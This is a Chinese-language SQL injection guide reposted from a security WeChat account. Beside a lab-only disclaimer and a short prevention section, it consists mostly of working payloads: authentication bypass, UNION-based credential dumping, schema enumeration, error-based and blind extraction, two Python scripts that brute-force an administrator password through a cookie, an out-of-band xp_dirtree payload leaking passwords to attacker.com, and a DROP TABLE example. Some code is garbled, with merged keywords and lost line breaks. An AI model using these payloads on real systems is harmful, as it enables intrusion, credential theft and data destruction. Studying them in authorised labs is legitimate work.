SQL注入:所有概念、所有有效载荷,尽在一处

admin 2025年6月19日22:53:16评论18 views字数 7120阅读23分44秒阅读模式
SQL注入:所有概念、所有有效载荷,尽在一处

掌握 SQL 注入:面向初学者和专业人士的深度指南

注意:本指南假设您拥有安全、合法的测试环境(例如,DVWA、OWASP Juice Shop、本地虚拟机)。切勿针对未经授权的目标进行测试。

1.什么是SQL注入?

SQL注入:所有概念、所有有效载荷,尽在一处

SQL 注入 (SQLi) 是一种网络安全漏洞,当应用程序将不受信任的用户输入直接合并到 SQL 查询中时就会出现这种漏洞。通过注入包含 SQL 语法的特制字符串,攻击者可以拦截或更改查询逻辑,从而绕过身份验证、提取敏感数据、修改或删除记录,甚至在数据库服务器上执行管理操作。

在典型的注入流程中,用户提供的表单字段、URL 参数或标头值会被串联成查询字符串。例如:

SELECT * FROM products WHEREid = '" + userInput + "';

如果userInput是1 OR 1=1,则查询变为:

SELECT * FROM products WHEREid = '1'OR1=1;

第二个条件1=1始终为真。因此,应用程序会返回所有产品行,而不仅仅是预期的行。我们之所以选择此有效载荷,是因为它引入了一个始终为真的表达式,演示了如何通过简单的修改绕过预期的查询逻辑。借助更复杂的有效载荷,攻击者可以通过组合其他子句或注释,逐步升级到完全数据库入侵。

2.如何检测SQL注入漏洞

1. 错误观察:

在表单字段、查询参数或 HTTP 标头中 提交单引号 ( ') 或双引号 ( ")。许多数据库会返回描述性错误消息(例如语法错误、类型不匹配或 XML 解析失败),从而揭示注入点。请注意意外的 HTTP 500 状态代码或自定义错误页面。

2. 行为差异:

注入布尔条件,例如OR 1=1versus OR 1=2。观察页面内容、HTTP 状态代码,甚至某些 HTML 元素是否存在等细微变化的差异。这种方法之所以有效,是因为应用程序会同时处理有效和无效的条件,从而确认注入的可行性。

3. 时间测试:

对于盲测环境,注入特定于数据库的休眠函数(SLEEP(5)MySQL、WAITFOR DELAY '0:0:5'MSSQLpg_sleep(5)和 PostgreSQL)。如果响应明显延迟,则表明注入的条件已得到评估。此有效载荷仅依赖于服务器响应时间,无需直接输出。

4. 自动扫描:

使用 sqlmap 或 Burp Suite 的扫描器等工具枚举潜在的注入点。这些工具可以自动生成有效载荷并进行响应分析。然而,它们可能会遗漏自定义业务逻辑漏洞或复杂的 WAF 绕过方法,因此手动测试仍然至关重要。

3. 检索隐藏数据并颠覆逻辑

3.1 身份验证绕过(重言式)

情况:登录表单构建如下查询:

SELECT * FROMusersWHERE username = '$user'ANDpassword = '$pass';

注入:提供username: ' OR '1'='1任意密码:

SELECT * FROMusersWHERE username = ''OR'1'='1'ANDpassword = 'foo';

此有效载荷通过注入一个始终为真的条件 ( '1'='1') 来破坏 AND 逻辑。我们之所以选择它,是因为它能够可靠地绕过简单的凭证检查,而无需事先知道有效的用户名或密码。数据库会返回第一个匹配的用户记录,通常会授予管理员访问权限。

3.2 条件登录测试

情况:会话跟踪 Cookie(例如 )TrackingId在有效时会触发自定义消息“欢迎回来!”。内部操作如下:

SELECT * FROM sessions WHEREid = 'TrackingId';

注入:将条件切换为真/假:

Cookie: TrackingId=xyz' AND '1'='1Cookie: TrackingId=xyz' AND '1'='2

这些有效载荷的工作原理是将额外的布尔表达式附加到原始查询中。选择'AND '1'='1'可确保条件仍然有效,从而导致应用程序确认会话。相反,'AND '1'='2'始终失败,这演示了布尔差异如何揭示注入点。

4.基于UNION的注入

4.1 确定列数

应用程序通常会返回多列。UNION攻击者在使用之前,必须匹配列数和数据类型。

有效载荷:

?id=1' ORDER BY 1--?id=1' ORDER BY 2--... ?id=1' ORDER BY N-- # yields an error when N exceeds column count

每次增量都会测试应用程序是否接受按该列索引排序。如果发生错误,它会指示真实的列数。我们选择这种方法是因为它可靠,并且不需要事先了解架构。

4.2 查找兼容的数据类型

接下来,验证哪些列接受字符串而不是数字:

' UNION SELECTNULLNULL-- # if two columns' UNION SELECT 'a', 1 -- # test string-integer mix

使用NULL会绕过严格的类型要求,而混合字面量则会测试每列的兼容性。此方法可确保后续数据检索查询不会因类型不匹配而失败。

4.3 提取数据

对齐后,添加您自己的SELECT:

?id=1' UNION SELECTid, username, passwordFROMusers--

此有效载荷的工作原理是将合法查询结果与从users表中提取的攻击者控制的数据合并。选择id, username, password与凭证收集的常见兴趣列一致。

5.检查数据库(信息模式)

当表/列名未知时,SQLi 攻击者会利用元数据表:

5.1 枚举表

?id=1' UNION SELECTNULL, table_name FROM information_schema.tables--

检索所有表的列表。我们之所以选择information_schema.tables它,是因为它在 SQL 数据库中得到广泛支持。

5.2 枚举列

?id=1' UNION SELECTNULL, column_name FROM information_schema.columns WHERE table_name='users'--

筛选表中的列users。这种有针对性的方法避免了过多的输出,并加快了枚举速度。

5.3 转储特定列

?id=1' UNION SELECTNULLCONCAT(username, ':'passwordFROMusers--

用分隔符连接用户名和密码。我们选择CONCATand:是为了便于阅读和解析结果。

6.基于错误的SQL注入

当应用程序显示原始数据库错误时,您可以通过触发不同类型的错误来强制错误直接泄露数据。以下是多个有效载荷及其用途:

6.1 转换错误

?id=1' AND 1=CONVERT(int,(SELECT @@version))--

SELECT @@version触发类型转换错误,并在错误消息中包含结果。有助于识别数据库引擎和版本。

?id=1' AND 1=CAST((SELECTuser()) ASINT)--

对于支持 的系统CAST,这会强制出现转换错误,从而显示当前数据库用户。

6.2 算术和函数错误

?id=1' AND (SELECT TOP 1nameFROM sysobjects) LIKE'%user%' / 0--

当第一个表名包含“user”时,除以零,如果为真则导致错误。此有效负载将算术与元数据查询结合在一起。

?id=1' AND JSON_VALUE((SELECTCONCAT('{"u":"'user(), '"}')), '$.u'ISNULL--

在 SQL Server 2016+ 上,JSON_VALUE如果 JSON 格式不正确,则会生成错误,从而泄露 user() 值。

6.3 基于 XML 的错误(MySQL)

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECTuser())), 1)--

无效updatexml调用会引发包含用户名的 XML 解析错误。十六进制0x7e( ~) 作为前缀,以便于解析。

?id=1' AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECTdatabase())))--

类似于UPDATEXML,EXTRACTVALUE嵌入当前数据库名称会触发错误。

7. 盲 SQL 注入

盲 SQLi 依赖于推理而非直接输出。以下是针对布尔值和基于时间的变体的额外负载:

7.1 基于布尔值(条件响应)

当没有返回任何数据或错误时,逐位提取数据。以下是多个有效载荷及其说明:

有效载荷示例1:

Cookie: TrackingId=xyz' AND (SELECTCOUNT(*) FROMusers)--

如果计数非零,则条件为真,应用程序可能显示有效会话。用于测试聚合查询。

有效载荷示例2:

Cookie: TrackingId=xyz' AND EXISTS(SELECT1FROMusersWHERE username='admin')--

检查“admin”用户是否存在。如果用户存在则返回 True,否则返回 false。

有效载荷示例3(子字符串测试):

Cookie: TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), 2, 1) = 'b'--

定位到密码的第二个字符。通过调整位置和字符,可以重建完整的字符串。

7.1.1 使用 Python 实现自动化

点击展开脚本

import requeststracking_id = input("enter tracking id: ")session_id = input("enter session id: ")url = input("enter url: ")# 1) Find lengthdefget_length():for i in range(150):        payload = f"'+AND+(select+length(password)+from+users+where+username='administrator')={i}--"        cookies = {"TrackingId": tracking_id + payload, "session": session_id}        r = requests.get(url, cookies=cookies)if"Welcome back!"in r.text:return i# 2) Extract charactersdefget_password(l):    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"    result = ""for pos in range(1, l+1):for ch in charset:            payload = f"'+AND+(select+substring(password,{pos},1)+from+users+where+username='administrator')='{ch}'--"            cookies = {"TrackingId": tracking_id + payload, "session": session_id}            r = requests.get(url, cookies=cookies)if"Welcome back!"in r.text:                result += chbreakreturn resultlength = get_length()print("Password length:", length)print("Password:", get_password(length))

7.1.1 使用 Python 实现自动化

点击展开脚本该脚本计算密码长度,然后使用子字符串检查和布尔反馈迭代提取每个字符。

7.2 基于时间的盲注入

当没有可用的响应差异或错误时,请使用时间延迟。其他有效载荷示例:

有效负载示例 1(MySQL SLEEP):

?id=1' AND IF((SELECTASCII(SUBSTRING(password,1,1)) FROMusersWHERE username='administrator') > 109SLEEP(5), 0)--

检查首字符的 ASCII 值是否大于 'm' (109)。若为真则进入休眠状态,启用字符值二分查找。

有效载荷示例 2 (MSSQL WAITFOR):

?id=1'; IF (SELECTLEN(passwordFROMusersWHERE username='administrator') = 10 WAITFOR DELAY '0:0:5'--

仅当长度等于 10 时才通过休眠来推断密码长度。

PostgreSQL 通过休眠延迟

点击展开脚本

import requests, timesession_id = input("enter session id: ")url = input("enter url: ")charset = "abcdefghijklmnopqrstuvwxyz0123456789"for pos in range(1, 21):    for ch in charset:        payload = (            f"'||(SELECTCASEWHENsubstring(password,{pos},1)='{ch}'THEN pg_sleep(5ELSE pg_sleep(0ENDFROMusersWHERE username='administrator')--"        )        cookies = {"TrackingId": payload, "session": session_id}start = time.time()        requests.get(url, cookies=cookies)if time.time() - start > 4:            print(f"Position {pos}: {ch}")            break

使用 IF 条件pg_sleep可以通过观察延迟来实现按位提取。我们选择此有效载荷用于 PostgreSQL 环境,因为它具有精确性和可靠性。

8.带外(OAST)SQL注入

当数据和错误反馈均未暴露时,触发外部回调:

?id=1'; EXEC master..xp_dirtree '\attacker.com\'+(SELECTpasswordFROMusers)+'\share'--

此有效载荷指示数据库服务器对攻击者的域执行网络调用,并将密码嵌入到路径中。我们之所以选择该xp_dirtree函数,是因为它能够在 MSSQL 环境中可靠地进行 DNS 解析。

9. 不同上下文中的 SQL 注入

二阶 SQLi:存储在应用程序中的有效负载(例如,注释、配置文件)稍后在新的 SQL 上下文中使用该数据时执行:

-- Initial storage:INSERTINTO posts (contentVALUES ('Great post'); DROPTABLE comments; ---- Later, when viewing posts, the DROP TABLE executes.

我们使用这个例子来说明注入如何隐藏在良性输入中并在稍后触发,从而绕过初始清理。

NoSQL 环境:如果用户输入直接嵌入 JSON 查询中,像 MongoDB 这样的文档数据库也会出现类似的缺陷:

"username": userInput, "password": passInput }

注入{ "$ne": null }会绕过这两个字段。此有效载荷利用了 NoSQL 上下文中的类型强制和查询结构。

10. 防止 SQL 注入

  1. 参数化查询/准备好的语句:绑定变量而不是连接字符串。

  2. ORM 和查询构建器:依靠自动转义输入的内置方法。

  3. 严格输入验证:对 ID 使用允许列表,对电子邮件强制使用正则表达式等。

  4. 最小权限:将数据库用户权限限制为仅执行必要的操作。

  5. 错误处理:抑制生产中的详细错误;内部记录详细信息。

  6. 定期测试:将自动扫描仪与手动渗透测试相结合。

永远不要相信用户输入——始终将其视为数据,而不是代码。

11. 其他资源和备忘单

实践平台

  • PortSwigger Web Security Academy: https://portswigger.net/web-security

  • DVWA: http://www.dvwa.co.uk/

  • OWASP Juice Shop: https://owasp.org/www-project-juice-shop/

  • Hack The Box: https://www.hackthebox.com/

  • TryHackMe: https://tryhackme.com/

备忘单和参考资料

  • PortSwigger SQL 注入备忘单: https://portswigger.net/kb/sql-injection-cheat-sheet

  • OWASP 测试指南 - SQLi: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_SQL_Injection

  • SQLMap 文档: https://sqlmap.org/

结论

SQL 注入仍然是最严重的 Web 漏洞之一。掌握每一种技术——从经典的绕过到高级的 OAST——都能帮助攻击者和防御者有效地保护或利用应用程序。

原文始发于微信公众号(Ots安全):SQL注入:所有概念、所有有效载荷,尽在一处

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月19日22:53:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入:所有概念、所有有效载荷,尽在一处https://cn-sec.com/archives/4178891.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息